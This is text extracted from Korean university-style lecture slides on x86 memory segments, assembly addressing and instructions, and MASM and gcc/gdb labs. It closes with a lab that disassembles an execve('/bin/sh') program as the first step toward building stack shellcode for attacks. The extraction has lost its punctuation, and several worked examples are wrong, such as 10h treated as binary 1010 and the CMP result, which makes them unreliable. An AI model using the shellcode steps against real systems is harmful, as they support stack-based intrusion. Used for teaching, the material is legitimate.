기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

